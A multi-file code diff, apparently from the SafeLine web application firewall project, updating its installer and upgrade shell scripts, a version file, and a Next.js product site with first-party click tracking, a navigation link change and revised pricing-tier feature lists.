SUBNET_PREFIX=$subnet
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
start_docker() {
|
||||
systemctl start docker && systemctl enable docker
|
||||
}
|
||||
|
||||
trap 'onexit' INT
|
||||
onexit() {
|
||||
echo
|
||||
@@ -210,6 +230,7 @@ info "创建安装目录 '$safeline_path' 成功"
|
||||
cd "$safeline_path"
|
||||
|
||||
curl "https://waf-ce.chaitin.cn/release/latest/compose.yaml" -sSLk -o compose.yaml
|
||||
curl "https://waf-ce.chaitin.cn/release/latest/reset_tengine.sh" -sSLk -o reset_tengine.sh
|
||||
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "下载 compose.yaml 脚本失败"
|
||||
@@ -232,7 +253,7 @@ fi
|
||||
|
||||
echo "MGT_PORT=9443" >> .env
|
||||
echo "POSTGRES_PASSWORD=$(LC_ALL=C tr -dc A-Za-z0-9 </dev/urandom | head -c 32)" >> .env
|
||||
echo "SUBNET_PREFIX=172.22.222" >> .env
|
||||
echo "SUBNET_PREFIX=$SUBNET_PREFIX" >> .env
|
||||
|
||||
if [ $CDN -eq 0 ]; then
|
||||
echo "IMAGE_PREFIX=chaitin" >>".env"
|
||||
@@ -256,4 +277,6 @@ docker exec safeline-mgt /app/mgt-cli reset-admin --once
|
||||
|
||||
warning "雷池 WAF 社区版安装成功,请访问以下地址访问控制台"
|
||||
warning "https://0.0.0.0:9443/"
|
||||
|
||||
for ip in $ips; do
|
||||
warning https://$ip:9443/
|
||||
done
|
||||
|
||||
@@ -54,7 +54,7 @@ check_container_health() {
|
||||
echo "Waiting for $container_name to be healthy"
|
||||
while [[ "$health_status" == "unhealthy" && $retry -lt $max_retry ]]; do
|
||||
health_status=$(docker inspect --format='{{.State.Health.Status}}' $container_name 2>/dev/null || echo 'unhealthy')
|
||||
sleep 1
|
||||
sleep 5
|
||||
retry=$((retry+1))
|
||||
done
|
||||
if [[ "$health_status" == "unhealthy" ]]; then
|
||||
@@ -181,9 +181,9 @@ container_id=$(docker ps -n 1 --filter name=.*safeline-mgt.* --format '{{.ID}}')
|
||||
safeline_path=$(docker inspect --format '{{index .Config.Labels "com.docker.compose.project.working_dir"}}' $container_id)
|
||||
|
||||
while [ -z "$safeline_path" ]; do
|
||||
echo -e -n "\033[34m[SafeLine] 未发现正在运行的雷池,请输入雷池安装路径 (留空则为 '$(pwd)'): \033[0m"
|
||||
echo -e -n "\033[34m[SafeLine] 未发现正在运行的雷池,请输入雷池安装路径 (留空则为 '/data/safeline'): \033[0m"
|
||||
read input_path
|
||||
[[ -z "$input_path" ]] && input_path=$(pwd)
|
||||
[[ -z "$input_path" ]] && input_path='/data/safeline'
|
||||
|
||||
if [[ ! $input_path == /* ]]; then
|
||||
warning "'$input_path' 不是合法的绝对路径"
|
||||
@@ -203,15 +203,10 @@ fi
|
||||
compose_name=$(ls docker-compose.yaml compose.yaml 2>/dev/null)
|
||||
compose_path=$safeline_path/$compose_name
|
||||
|
||||
if [ -f "$compose_path" ]; then
|
||||
info "发现位于 '$safeline_path' 的雷池环境"
|
||||
else
|
||||
abort "没有发现位于 $safeline_path 的雷池环境"
|
||||
fi
|
||||
|
||||
mv $compose_name $compose_name.old
|
||||
mv $compose_name $compose_name.old || true
|
||||
|
||||
curl "https://waf-ce.chaitin.cn/release/latest/compose.yaml" -sSLk -o $compose_name
|
||||
curl "https://waf-ce.chaitin.cn/release/latest/reset_tengine.sh" -sSLk -o reset_tengine.sh
|
||||
|
||||
if [ $? -ne "0" ]; then
|
||||
abort "下载 compose.yaml 脚本失败"
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
{
|
||||
"latest_version": "v5.3.2",
|
||||
"rec_version": "v5.2.0"
|
||||
"latest_version": "v6.0.1",
|
||||
"rec_version": "v6.0.1"
|
||||
}
|
||||
@@ -1,29 +1,43 @@
|
||||
export {
|
||||
getSetupCount,
|
||||
getDiscussions,
|
||||
getIssues,
|
||||
getReposInfo,
|
||||
};
|
||||
|
||||
const BASE_API = "/api";
|
||||
getSetupCount,
|
||||
getDiscussions,
|
||||
getIssues,
|
||||
getReposInfo,
|
||||
detectorPoint,
|
||||
};
|
||||
|
||||
function getAPIUrl() {
|
||||
return (process.env.TARGET || '') + BASE_API;
|
||||
}
|
||||
const BASE_API = "/api";
|
||||
|
||||
function getSetupCount() {
|
||||
return fetch(getAPIUrl() + "/safeline/count").then((res) => res.json());
|
||||
}
|
||||
function getAPIUrl() {
|
||||
return (process.env.TARGET || "") + BASE_API;
|
||||
}
|
||||
|
||||
function getReposInfo() {
|
||||
return fetch(getAPIUrl() + "/repos/info").then((res) => res.json());
|
||||
}
|
||||
function getSetupCount() {
|
||||
return fetch(getAPIUrl() + "/safeline/count").then((res) => res.json());
|
||||
}
|
||||
|
||||
function getDiscussions(query: string) {
|
||||
return fetch(getAPIUrl() + "/repos/discussions?q=" + query).then((res) => res.json());
|
||||
}
|
||||
function getReposInfo() {
|
||||
return fetch(getAPIUrl() + "/repos/info").then((res) => res.json());
|
||||
}
|
||||
|
||||
function getIssues(query: string) {
|
||||
return fetch(getAPIUrl() + "/repos/issues?q=" + query).then((res) => res.json());
|
||||
}
|
||||
|
||||
function getDiscussions(query: string) {
|
||||
return fetch(getAPIUrl() + "/repos/discussions?q=" + query).then((res) =>
|
||||
res.json()
|
||||
);
|
||||
}
|
||||
|
||||
function getIssues(query: string) {
|
||||
return fetch(getAPIUrl() + "/repos/issues?q=" + query).then((res) =>
|
||||
res.json()
|
||||
);
|
||||
}
|
||||
|
||||
// 购买 1001
|
||||
// 咨询 1002
|
||||
function detectorPoint(query: { source?: string; type: 1001 | 1002 }) {
|
||||
const search = new URLSearchParams(location.search);
|
||||
query.source = search.get("source") || document.referrer;
|
||||
return fetch(
|
||||
getAPIUrl() + "/behavior", {method: 'POST', body: JSON.stringify(query)}
|
||||
).then((res) => res.json());
|
||||
}
|
||||
|
||||
@@ -124,50 +124,21 @@ export default function NavBar() {
|
||||
alignItems: "center",
|
||||
}}
|
||||
>
|
||||
<Box mr={3.5}>
|
||||
<Typography
|
||||
{...bindHover(popoverState1 as any)}
|
||||
variant="body1"
|
||||
sx={{
|
||||
color: popoverState1.isOpen
|
||||
? "primary.main"
|
||||
: "common.black",
|
||||
cursor: "pointer",
|
||||
"&:hover": {
|
||||
color: "primary.main",
|
||||
backgroundColor: "transparent",
|
||||
},
|
||||
transition: "unset",
|
||||
}}
|
||||
>
|
||||
<Image
|
||||
src="/images/bounty_btn.png"
|
||||
alt="wechat"
|
||||
width={93}
|
||||
height={22}
|
||||
style={{ cursor: "pointer", marginTop: '3px' }}
|
||||
/>
|
||||
</Typography>
|
||||
<HoverPopover
|
||||
{...bindPopover(popoverState1)}
|
||||
anchorOrigin={{
|
||||
vertical: 42,
|
||||
horizontal: "left",
|
||||
}}
|
||||
transformOrigin={{
|
||||
vertical: "top",
|
||||
horizontal: "left",
|
||||
}}
|
||||
marginThreshold={16}
|
||||
>
|
||||
<Image
|
||||
src="/images/bounty.png"
|
||||
alt="wechat"
|
||||
width={672}
|
||||
height={491}
|
||||
/>
|
||||
</HoverPopover>
|
||||
</Box>
|
||||
<Link
|
||||
href="https://discord.gg/wyshSVuvxC"
|
||||
target="_blank"
|
||||
sx={{
|
||||
color: "common.black",
|
||||
display: "flex",
|
||||
"&:hover": {
|
||||
color: "primary.main",
|
||||
},
|
||||
}}
|
||||
mr={3.5}
|
||||
>
|
||||
<Icon type="icon-discord1" sx={{ mr: 1 }} />
|
||||
Discord
|
||||
</Link>
|
||||
<Link
|
||||
href="https://github.com/chaitin/SafeLine"
|
||||
target="_blank"
|
||||
@@ -335,6 +306,7 @@ export const SafelineTitle: React.FC = () => {
|
||||
display: "flex",
|
||||
alignItems: "center",
|
||||
fontFamily: "AlimamaShuHeiTi-Bold",
|
||||
fontWeight: 500,
|
||||
}}
|
||||
>
|
||||
雷池 SafeLine
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import React from 'react'
|
||||
import React from "react";
|
||||
import { useState, useEffect } from "react";
|
||||
import Message from "@/components/Message";
|
||||
import Modal from "@/components/Modal";
|
||||
import { Box, TextField, Typography, Button } from "@mui/material";
|
||||
import { detectorPoint } from "@/api";
|
||||
|
||||
function Consultation() {
|
||||
const [text, setText] = useState("");
|
||||
@@ -59,7 +60,10 @@ function Consultation() {
|
||||
mb: 4,
|
||||
boxShadow: "0px 15px 25px 0px rgba(15,198,194,0.3)",
|
||||
}}
|
||||
onClick={() => setConsultOpen(true)}
|
||||
onClick={() => {
|
||||
detectorPoint({ type: 1002 });
|
||||
setConsultOpen(true);
|
||||
}}
|
||||
>
|
||||
立即咨询
|
||||
</Button>
|
||||
@@ -78,9 +82,7 @@ function Consultation() {
|
||||
fullWidth
|
||||
size="small"
|
||||
label="手机号"
|
||||
helperText={
|
||||
wrongPhoneNumber ? "手机号格式不正确" : ""
|
||||
}
|
||||
helperText={wrongPhoneNumber ? "手机号格式不正确" : ""}
|
||||
variant="outlined"
|
||||
value={text}
|
||||
onChange={(e) => textHandler(e.target.value)}
|
||||
|
||||
@@ -136,14 +136,20 @@ const FunctionTable = () => {
|
||||
title: "统计分析",
|
||||
data: [
|
||||
{
|
||||
name: "基础统计图表",
|
||||
name: "统计图表",
|
||||
tip: "",
|
||||
experience: <Support />,
|
||||
experience: <Illustrate text="基础统计分析" />,
|
||||
major: <Illustrate text="高级统计分析" />,
|
||||
basics: <Illustrate text="企业级防护数据仪表盘" />,
|
||||
},
|
||||
{
|
||||
name: "攻击日志导出",
|
||||
experience: <NotSupport />,
|
||||
major: <Support />,
|
||||
basics: <Support />,
|
||||
},
|
||||
{
|
||||
name: "高级统计分析与报告",
|
||||
name: "防护报告导出",
|
||||
experience: <NotSupport />,
|
||||
major: <NotSupport />,
|
||||
basics: <Support />,
|
||||
@@ -165,6 +171,30 @@ const FunctionTable = () => {
|
||||
major: <Support />,
|
||||
basics: <Support />,
|
||||
},
|
||||
{
|
||||
name: "检测引擎性能配置",
|
||||
experience: <NotSupport />,
|
||||
major: <Support />,
|
||||
basics: <Support />,
|
||||
},
|
||||
{
|
||||
name: "Syslog 转发",
|
||||
experience: <NotSupport />,
|
||||
major: <Support />,
|
||||
basics: <Support />,
|
||||
},
|
||||
{
|
||||
name: "钉钉、飞书、企微告警",
|
||||
experience: <NotSupport />,
|
||||
major: <Support />,
|
||||
basics: <Support />,
|
||||
},
|
||||
{
|
||||
name: "多用户管理",
|
||||
experience: <NotSupport />,
|
||||
major: <Support />,
|
||||
basics: <Support />,
|
||||
},
|
||||
{
|
||||
name: "多设备集中管理",
|
||||
tip: "",
|
||||
@@ -196,7 +226,7 @@ const FunctionTable = () => {
|
||||
basics: <Support />,
|
||||
},
|
||||
{
|
||||
name: "负载均衡",
|
||||
name: "upstream 负载均衡",
|
||||
experience: <NotSupport />,
|
||||
major: <Support />,
|
||||
basics: <Support />,
|
||||
|
||||
@@ -4,6 +4,7 @@ import dynamic from "next/dynamic";
|
||||
import FunctionTable from "./FunctionTable";
|
||||
import Image from "next/image";
|
||||
import Icon from "@/components/Icon";
|
||||
import { detectorPoint } from "@/api";
|
||||
|
||||
const Consultation = dynamic(() => import("./Consultation"), {
|
||||
ssr: false,
|
||||
@@ -32,12 +33,13 @@ const VERSION_LIST = [
|
||||
</Button>
|
||||
),
|
||||
functions: [
|
||||
"Web 攻击防护",
|
||||
"爬虫防护 / 人机验证",
|
||||
"Web 访问控制 / Web 身份认证",
|
||||
"CC 攻击防护 / 频率限制",
|
||||
"智能语义分析 Web 防护",
|
||||
"人机验证 / 爬虫防护",
|
||||
"网站身份认证",
|
||||
"频率限制 / CC 攻击防护",
|
||||
"黑 IP 情报防护",
|
||||
"0 Day 漏洞情报防护",
|
||||
"黑白名单",
|
||||
"",
|
||||
],
|
||||
},
|
||||
{
|
||||
@@ -76,42 +78,51 @@ const VERSION_LIST = [
|
||||
my: 4,
|
||||
boxShadow: "0px 15px 25px 0px rgba(15,198,194,0.3)",
|
||||
}}
|
||||
href="https://rivers.chaitin.cn/?share=85db8d21d63711ee91390242c0a8176b"
|
||||
onClick={() => {
|
||||
detectorPoint({
|
||||
type: 1001,
|
||||
});
|
||||
window.open(
|
||||
"https://rivers.chaitin.cn/?share=85db8d21d63711ee91390242c0a8176b"
|
||||
);
|
||||
}}
|
||||
>
|
||||
立即购买
|
||||
</Button>
|
||||
),
|
||||
functions: [
|
||||
"所有社区版能力",
|
||||
"Web 攻击加强防护",
|
||||
"黑 IP 加强情报防护",
|
||||
"自定义拦截页面",
|
||||
"加强 Web 攻击防护",
|
||||
"高级统计分析",
|
||||
"基于地理位置的访问控制",
|
||||
"上游服务器负载均衡",
|
||||
"自定义拦截页面",
|
||||
"upstream 负载均衡",
|
||||
"对外告警",
|
||||
],
|
||||
},
|
||||
{
|
||||
name: "企业版",
|
||||
name_bg: "/images/enterprise-version.svg",
|
||||
apply_desc: "适合中大型企业",
|
||||
fee: "¥10000",
|
||||
fee_desc: "起/年",
|
||||
desc: (
|
||||
fee: (
|
||||
<Stack direction="row" alignItems="center">
|
||||
<Typography variant="caption" sx={{ lineHeight: "26px", mr: 1 }}>
|
||||
<Icon type="icon-zixun" color="#0FC6C2" />
|
||||
<Typography variant="h3" sx={{ lineHeight: "46px", ml: 1 }}>
|
||||
按需定制
|
||||
</Typography>
|
||||
<Icon type="icon-zixun" color="#0FC6C2" />
|
||||
</Stack>
|
||||
),
|
||||
fee_desc: "",
|
||||
desc: "",
|
||||
operation: <Consultation />,
|
||||
functions: [
|
||||
"所有专业版能力",
|
||||
"软件、硬件、云原生等交付形式",
|
||||
"反代、透明、路由、桥接、旁挂等方式部署",
|
||||
"动态防护、拟态防护 等高级防护能力",
|
||||
"企业级管理、合规审计能力",
|
||||
"硬件、云原生等交付形态",
|
||||
"透明、路由、桥接、旁挂等接入方式",
|
||||
"多活、主备、Bypass 等高可用形式",
|
||||
"动态防护、拟态防护等高级防护形式",
|
||||
"分布式集群部署,检测超大规模流量",
|
||||
"承载超大规模流量的分布式集群部署",
|
||||
],
|
||||
},
|
||||
];
|
||||
@@ -227,6 +238,7 @@ const FunctionItems: React.FC<{ items: any[] }> = ({ items }) => {
|
||||
pl: 2,
|
||||
fontSize: "14px",
|
||||
textAlign: "center",
|
||||
minHeight: '14px',
|
||||
// "&:before": {
|
||||
// content: "' '",
|
||||
// position: "absolute",
|
||||
|
||||
@@ -62,7 +62,7 @@ table {
|
||||
|
||||
body {
|
||||
color: rgb(var(--foreground-rgb));
|
||||
font-family: 'PingFang SC, Microsoft YaHei, Hiragino Sans GB, Helvetica Nene, Helvetica, Arial',
|
||||
font-family: PingFang SC, Microsoft YaHei, Hiragino Sans GB, Helvetica Nene, Helvetica, Arial;
|
||||
}
|
||||
|
||||
a:-webkit-any-link {
|
||||
@@ -70,7 +70,7 @@ a:-webkit-any-link {
|
||||
}
|
||||
|
||||
@font-face {
|
||||
font-family: 'AlimamaShuHeiTi-Bold';
|
||||
font-family: AlimamaShuHeiTi-Bold;
|
||||
src: url('/fonts/AlimamaShuHeiTi-Bold.ttf') format('truetype');
|
||||
font-display: swap;
|
||||
}
|
||||